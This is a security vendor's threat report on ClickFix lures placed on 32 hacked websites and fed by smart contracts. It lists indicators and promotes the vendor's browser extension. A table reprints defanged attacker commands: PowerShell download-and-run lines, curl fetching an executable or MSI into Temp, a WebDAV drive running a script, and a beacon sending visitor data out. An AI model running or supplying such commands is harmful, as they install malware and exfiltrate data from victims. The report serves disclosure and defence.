ClickFix report: 32 hacked sites, 11 smart contracts behind them.
Regularly we publish what ByteMantle's research browsers met on live ClickFix pages: which sites were hacked, what they run, which smart contracts feed them, where the commands download from and how it connects.
In short
- 32 websites showed a ClickFix lure; 22 of them put a command on the visitor's clipboard.
- 22 sites read their lure from one of 11 smart contracts (EtherHiding); one contract alone fed 6 sites.
- Of the 23 sites whose software we could identify, 5 report a version with flaws exploited in the wild and 3 run software that no longer gets security updates.
- 8 of the 22 sites served a command that downloads from a service everybody trusts.
Want your browsers to stop this at the paste? The ByteMantle extension reads every command a page puts on the clipboard and replaces a dangerous one before you can paste it. Get the extension — free.
The numbers
Not counted: 10 more pages where only the page scan saw lure wording, with no command and no contract read. Some of them are articles and videos about ClickFix, so we do not call them hacked.
Since the last report (2026-11-02 – 2026-11-05)
- Sites with a lure: 32 (last time 38); with a command on the clipboard: 22 (last time 28).
- Last time every page with lure wording was counted; since this report a site counts only with evidence of the attack on it (a command, a contract read or a confirmed lure), so the numbers are not directly comparable.
- Smart contracts: 4 new, 7 still in use, 1 not seen this time.
- Attacker domains: 9 new, 9 seen again.
The hacked sites and what they run
The lures are on real websites of real organisations, with a script added that draws a fake "Verify you are human" box over the real page. Our browsers record the software each site reports about itself.
| Software (reported version) | Sites | Known flaws | Actively exploited (CISA KEV) | Worst CVSS | Security updates |
|---|---|---|---|---|---|
wordpress 6.9.1 | 1 | 4 | 4 | 9.8 | supported |
php 8.0.30 | 1 | 4 | 2 | 9.8 | ended 2023-11-26 |
php 7.4.33 | 1 | 5 | 2 | 9.8 | ended 2022-11-28 |
php 8.2.28 | 1 | 29 | 2 | 9.5 | ends 2026-12-31 |
php 8.1.34 | 1 | 2 | 2 | 9.2 | ended 2025-12-31 |
wordpress 6.9.10 | 1 | 1 | 1 | 8.1 | supported |
This does not say how each site was broken into: stolen passwords and vulnerable plugins are just as common. It says that the sites hosting these lures were often not well looked after.
The smart contracts behind the lures
On 22 sites the added script asks a smart contract on a public blockchain where the lure is, every time the page loads (EtherHiding). The attackers change one value and every hacked site shows the new lure; nobody can take a contract down.
| Contract | Blockchain | Sites | Seen |
|---|---|---|---|
0xb6bc9e1d0b2fb96ab7c47e04cb0be477410bc1f2 | Polygon | 6 | 2026-11-05 – 2026-11-11 |
0xb29927b7d854b232d5e58cfc201866376e68c676 | Polygon | 5 | 2026-11-05 – 2026-11-06 |
0xf70730a4e5b89b6c6e02edaed582badf6465e9d9 | Polygon | 5 | 2026-11-05 – 2026-11-05 |
0xdf132e2893824e26ec8ae8014b4f4facd54ed67f | BSC Testnet | 2 | 2026-11-05 – 2026-11-05 |
0xff9e792a3015a79340cdec1847ab0aa10560422a | Polygon | 2 | 2026-11-09 – 2026-11-09 |
0xa1decfb75c8c0ca28c10517ce56b710baf727d2e | BSC Testnet | 1 | 2026-11-05 – 2026-11-05 |
0x46790e2ac7f3ca5a7d1bfce312d11e91d23383ff | BSC Testnet | 1 | 2026-11-05 – 2026-11-05 |
0xf4a32588b50a59a82fba148d436081a48d80832a | BSC Testnet | 1 | 2026-11-05 – 2026-11-05 |
0x58460d0b3d4d6b03761c89120393c0c676676496 | Base | 1 | 2026-11-06 – 2026-11-06 |
0x83833c5d676ca06e941a32310ae67d0890f657ee | Polygon | 1 | 2026-11-09 – 2026-11-09 |
0xbab25ced421128c427ad19914473566633894dd5 | Polygon | 1 | 2026-11-09 – 2026-11-09 |
4 site(s) read more than one contract, so the column adds up to 26 for 22 sites.
How it connects
The same contract means the same operation. Following each contract to the sites that read it, and from there to what their commands download, shows separate campaigns with their own habits — the way the investigation graph in the ByteMantle console shows it for your own browsers.
- The biggest operation (Polygon contract
0xb6bc…c1f2, 6 sites): lepafonso[.]bz, codes.browse-cdn[.]beer; PowerShell: download and run.
Where the commands download from
For security teams: blocking these services is not an option, and the attackers' own addresses change weekly. What does not change is the shape of the command: a shell, a download, an execution, put on the clipboard by a web page.
The commands, by form
| Form | Sites | Example (shortened, defanged) |
|---|---|---|
| PowerShell: download and run | 11 | irm https://govrobczxc[.]cc/cdn/sync/traffic?r=4764|iex |
| Reports the visitor, then downloads | 5 | cmd[.]exe /c "curl[.]exe -sL -d ""id=…"" -d ""location=…"" -d ""siteUrl=https%3A%2F%2Fwww.[hacked site]%2F"" -d ""os=win11"" -d ""lastVisitAt=2026-11-05T13%3A17%3A58.8 … |
| Obfuscated PowerShell | 3 | (irm 'https://lepafonso[.]bz/dantestraff2929/7d180aad5b40f31e' -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126. … |
| Program to Temp, started | 1 | cmd /c start /max [hacked site]/verification[.]php && curl -k -o %temp%\install[.]exe https://security-malware[.]com/index[.]html && start %temp%\install[.]exe && echo … |
| Installer to Temp, installed silently | 1 | cmd /c curl -gkso %TEMP%\wud[.]msi https://update.neewsoo[.]com/dl/kb1000013[.]msi?v=c15c541c16c4 && msiexec /i %TEMP%\wud[.]msi /qn |
| Network drive over WebDAV | 1 | cmd /c net use Z: http://185.246.223[.]71/webdav /persistent:no && "Z:\update[.]cmd" & net use Z: /delete |
The attackers' domains
The download servers and lure servers that belong to the attackers themselves: 18 this time. Half of those with a known registration date are younger than 12 days. The registration date of 2 of them is not known to the console yet.
New this time
- One contract, a new download server every few days. The busiest Polygon contract pointed to a domain registered 13 hours before its first use, then to a second one registered two days before. How it works.
- The visitor is reported before the download. Five hacked sites served the same command, which first sends an id, the Windows version and the hacked site to one Google Apps Script project. The beacon.
- Six ways past
irm | iex. A shared network drive, a silent installer, an executable in Temp, an HTML application, encoded layers and a public code CDN. The six methods. - A fake "Claude early access" page again, on a domain registered about a month before: AI tools remain a favourite bait.
How to protect your people and your site
- Tell your people the one rule: no real website ever asks you to press Windows + R, open Terminal or paste something to prove you are human.
- Stop it at the paste. ByteMantle reads what a page puts on the clipboard, recognises the command by its shape (not by its domain) and replaces it with a harmless message.
- Run a website? Keep the CMS, its plugins and PHP up to date. Open your own site with the ByteMantle extension: a lure or a contract read on your own pages means it was hacked. Our SC research explains how to check and clean.
Indicators
For your SIEM or threat-intelligence platform:
- Indicators (CSV)
- Indicators (STIX 2.1)
- Sites that served the lure (CSV)
- Sites that served the lure (STIX 2.1)
| Indicator | Role | Domain age |
|---|---|---|
browse-nnccodes[.]beer | download, lure server | 2 days |
codes.browse-cdn[.]beer | download, lure server | 6 days |
govrobczxc[.]cc | download | 8 days |
cloudflareconfirm[.]com | download | 9 days |
onchaindocfile[.]com | lure page | 9 days |
docsign[.]blog | lure page | 9 days |
pumpadmin[.]fun | download | 10 days |
frclau[.]com | script host loaded into hacked pages | 11 days |
maplezenith[.]live | lure page | 14 days |
online.projectsupportik[.]top | lure page | 20 days |
claudeearlyaccess-fable[.]cfd | lure page | 30 days |
threejrev[.]com | download | 32 days |
update.neewsoo[.]com | download | 69 days |
alababababa[.]cloud | download | 83 days |
makeverizyjar[.]info | lure server | 99 days |
security-malware[.]com | download | 136 days |
185.246.223[.]71 | download | |
lepafonso[.]bz | download |
The two "Sites that served the lure" lists name the 31 hacked sites and the 5 lure pages the attackers registered themselves, with the exact address and the dates we saw each one (1 site of a private person is counted but not listed). A site is listed because it served the lure when our research browsers opened it: the owner may have cleaned it since. The lists come only from ByteMantle's research browsers, never from what our customers' browsers see.
Own one of these sites? Check and clean it (our SC research explains how), then write to info@bytemantle.com and we update the list.
How we collect this
We open pages from a public list of ClickFix sites in research browsers with the ByteMantle extension, the same extension you can install. We do not run the commands and do not download the malware. Every number comes from the ByteMantle console's threat report for those browsers: what the extension recorded on the pages, and what the console knows about the software and known flaws of the sites (NVD, OSV, CISA KEV, endoflife.date). A site counts once, however many times we opened it.
Stop these attacks before anything runs.
Free browser protection for everyone, in Chrome and Edge. One console for your whole company when you need it.